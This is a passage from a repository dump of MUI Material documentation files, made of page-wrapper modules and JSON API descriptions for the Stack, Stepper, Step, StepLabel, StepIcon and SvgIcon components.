\"default\": \"Zoom\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"actions\",\n      \"className\": \"MuiSpeedDial-actions\",\n      \"description\": \"Styles applied to the actions (`children` wrapper) element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"actionsClosed\",\n      \"className\": \"MuiSpeedDial-actionsClosed\",\n      \"description\": \"Styles applied to the actions (`children` wrapper) element if `open={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"directionDown\",\n      \"className\": \"MuiSpeedDial-directionDown\",\n      \"description\": \"Styles applied to the root element if direction=\\\"down\\\"\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"directionLeft\",\n      \"className\": \"MuiSpeedDial-directionLeft\",\n      \"description\": \"Styles applied to the root element if direction=\\\"left\\\"\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"directionRight\",\n      \"className\": \"MuiSpeedDial-directionRight\",\n      \"description\": \"Styles applied to the root element if direction=\\\"right\\\"\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"directionUp\",\n      \"className\": \"MuiSpeedDial-directionUp\",\n      \"description\": \"Styles applied to the root element if direction=\\\"up\\\"\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fab\",\n      \"className\": \"MuiSpeedDial-fab\",\n      \"description\": \"Styles applied to the Fab component.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSpeedDial\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/SpeedDial/SpeedDial.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-speed-dial/\\\">Speed Dial</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/stack.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './stack.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/stack', false, /\\.\\/stack.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/stack.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'<br>&#124;&nbsp;Array&lt;'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'&gt;<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"'column'\"\n    },\n    \"divider\": { \"type\": { \"name\": \"node\" } },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"useFlexGap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Stack\",\n  \"imports\": [\"import Stack from '@mui/material/Stack';\", \"import { Stack } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStack\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Stack/Stack.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stack/\\\">Stack</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step-button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/step-button',\n    false,\n    /\\.\\/step-button.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-button.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"optional\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"StepButton\",\n  \"imports\": [\n    \"import StepButton from '@mui/material/StepButton';\",\n    \"import { StepButton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiStepButton-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStepButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"touchRipple\",\n      \"className\": \"MuiStepButton-touchRipple\",\n      \"description\": \"Styles applied to the `ButtonBase` touch-ripple.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiStepButton-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepButton\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/StepButton/StepButton.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-connector.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step-connector.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/step-connector',\n    false,\n    /\\.\\/step-connector.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-connector.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"StepConnector\",\n  \"imports\": [\n    \"import StepConnector from '@mui/material/StepConnector';\",\n    \"import { StepConnector } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"active\",\n      \"className\": \"Mui-active\",\n      \"description\": \"State class applied to the root element if `active={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"alternativeLabel\",\n      \"className\": \"MuiStepConnector-alternativeLabel\",\n      \"description\": \"Styles applied to the root element if `alternativeLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"completed\",\n      \"className\": \"Mui-completed\",\n      \"description\": \"State class applied to the root element if `completed={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiStepConnector-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"line\",\n      \"className\": \"MuiStepConnector-line\",\n      \"description\": \"Styles applied to the line element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStepConnector-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiStepConnector-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepConnector\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/StepConnector/StepConnector.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/step-content',\n    false,\n    /\\.\\/step-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-content.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ transition?: func<br>&#124;&nbsp;object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ transition?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'auto'<br>&#124;&nbsp;number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"'auto'\"\n    }\n  },\n  \"name\": \"StepContent\",\n  \"imports\": [\n    \"import StepContent from '@mui/material/StepContent';\",\n    \"import { StepContent } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition slot.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Collapse\",\n      \"class\": \"MuiStepContent-transition\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"last\",\n      \"className\": \"MuiStepContent-last\",\n      \"description\": \"Styles applied to the root element if `last={true}` (controlled by `Step`).\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStepContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/StepContent/StepContent.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-icon.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step-icon.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/step-icon',\n    false,\n    /\\.\\/step-icon.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-icon.json",
    "content": "{\n  \"props\": {\n    \"active\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"completed\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"error\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"StepIcon\",\n  \"imports\": [\n    \"import StepIcon from '@mui/material/StepIcon';\",\n    \"import { StepIcon } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"active\",\n      \"className\": \"Mui-active\",\n      \"description\": \"State class applied to the root element if `active={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"completed\",\n      \"className\": \"Mui-completed\",\n      \"description\": \"State class applied to the root element if `completed={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStepIcon-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiStepIcon-text\",\n      \"description\": \"Styles applied to the SVG text element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepIcon\",\n  \"forwardsRefTo\": \"SVGSVGElement\",\n  \"filename\": \"/packages/mui-material/src/StepIcon/StepIcon.js\",\n  \"inheritance\": { \"component\": \"SvgIcon\", \"pathname\": \"/material-ui/api/svg-icon/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-label.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step-label.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/step-label',\n    false,\n    /\\.\\/step-label.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step-label.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"error\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"optional\": { \"type\": { \"name\": \"node\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ label?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, stepIcon?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ label?: elementType, root?: elementType, stepIcon?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"StepLabel\",\n  \"imports\": [\n    \"import StepLabel from '@mui/material/StepLabel';\",\n    \"import { StepLabel } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"span\",\n      \"class\": \"MuiStepLabel-root\"\n    },\n    {\n      \"name\": \"label\",\n      \"description\": \"The component that renders the label.\",\n      \"default\": \"span\",\n      \"class\": \"MuiStepLabel-label\"\n    },\n    {\n      \"name\": \"stepIcon\",\n      \"description\": \"The component to render in place of the [`StepIcon`](https://mui.com/material-ui/api/step-icon/).\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"active\",\n      \"className\": \"Mui-active\",\n      \"description\": \"State class applied to the label element if `active={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"alternativeLabel\",\n      \"className\": \"MuiStepLabel-alternativeLabel\",\n      \"description\": \"State class applied to the root and icon container and label if `alternativeLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"completed\",\n      \"className\": \"Mui-completed\",\n      \"description\": \"State class applied to the label element if `completed={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root and label elements if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root and label elements if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiStepLabel-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconContainer\",\n      \"className\": \"MuiStepLabel-iconContainer\",\n      \"description\": \"Styles applied to the `icon` container element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelContainer\",\n      \"className\": \"MuiStepLabel-labelContainer\",\n      \"description\": \"Styles applied to the container element which wraps label and `optional`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiStepLabel-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepLabel\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/StepLabel/StepLabel.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './step.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/step', false, /\\.\\/step.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/step.json",
    "content": "{\n  \"props\": {\n    \"active\": { \"type\": { \"name\": \"bool\" } },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"completed\": { \"type\": { \"name\": \"bool\" } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"expanded\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"index\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" } },\n    \"last\": { \"type\": { \"name\": \"bool\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Step\",\n  \"imports\": [\"import Step from '@mui/material/Step';\", \"import { Step } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"alternativeLabel\",\n      \"className\": \"MuiStep-alternativeLabel\",\n      \"description\": \"Styles applied to the root element if `alternativeLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"completed\",\n      \"className\": \"Mui-completed\",\n      \"description\": \"State class applied to the root element if `completed={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiStep-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStep-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiStep-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStep\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-material/src/Step/Step.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/stepper.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './stepper.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/stepper', false, /\\.\\/stepper.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/stepper.json",
    "content": "{\n  \"props\": {\n    \"activeStep\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"0\" },\n    \"alternativeLabel\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"connector\": { \"type\": { \"name\": \"element\" }, \"default\": \"<StepConnector />\" },\n    \"nonLinear\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Stepper\",\n  \"imports\": [\n    \"import Stepper from '@mui/material/Stepper';\",\n    \"import { Stepper } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alternativeLabel\",\n      \"className\": \"MuiStepper-alternativeLabel\",\n      \"description\": \"Styles applied to the root element if `alternativeLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiStepper-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"nonLinear\",\n      \"className\": \"MuiStepper-nonLinear\",\n      \"description\": \"Styles applied to the root element if `nonLinear={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStepper-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiStepper-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStepper\",\n  \"forwardsRefTo\": \"HTMLOListElement\",\n  \"filename\": \"/packages/mui-material/src/Stepper/Stepper.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/svg-icon.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './svg-icon.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/svg-icon',\n    false,\n    /\\.\\/svg-icon.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/svg-icon.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'action'<br>&#124;&nbsp;'disabled'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'inherit'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"fontSize\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"htmlColor\": { \"type\": { \"name\": \"string\" } },\n    \"inheritViewBox\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"shapeRendering\": { \"type\": { \"name\": \"string\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"titleAccess\": { \"type\": { \"name\": \"string\" } },\n    \"viewBox\": { \"type\": { \"name\": \"string\" }, \"default\": \"'0 0 24 24'\" }\n  },\n  \"name\": \"SvgIcon\",\n  \"imports\": [\n    \"import SvgIcon from '@mui/material/SvgIcon';\",\n    \"import { SvgIcon } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorAction\",\n      \"className\": \"MuiSvgIcon-colorAction\",\n      \"description\": \"Styles applied to the root element if `color=\\\"action\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorDisabled\",\n      \"className\": \"MuiSvgIcon-colorDisabled\",\n      \"description\": \"Styles applied to the root element if `color=\\\"disabled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiSvgIcon-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      